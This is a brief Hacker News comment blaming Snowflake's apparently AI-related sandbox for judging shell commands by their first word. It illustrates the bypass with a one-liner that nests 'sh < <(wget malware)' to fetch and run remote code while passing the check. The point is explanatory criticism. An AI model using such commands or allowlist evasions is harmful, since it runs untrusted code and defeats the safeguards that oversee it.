Hacker News new | ask | show | jobs
by driftnode 84 days ago
Everyone in this thread is dunking on Snowflake's sandbox design but the real issue is simpler. They parsed shell commands by looking at the first word. cat = safe. Socat < <(sh < <(wget malware)) = safe This is not an AI problem. This is a 1990s input validation problem wearing a 2026 hat lol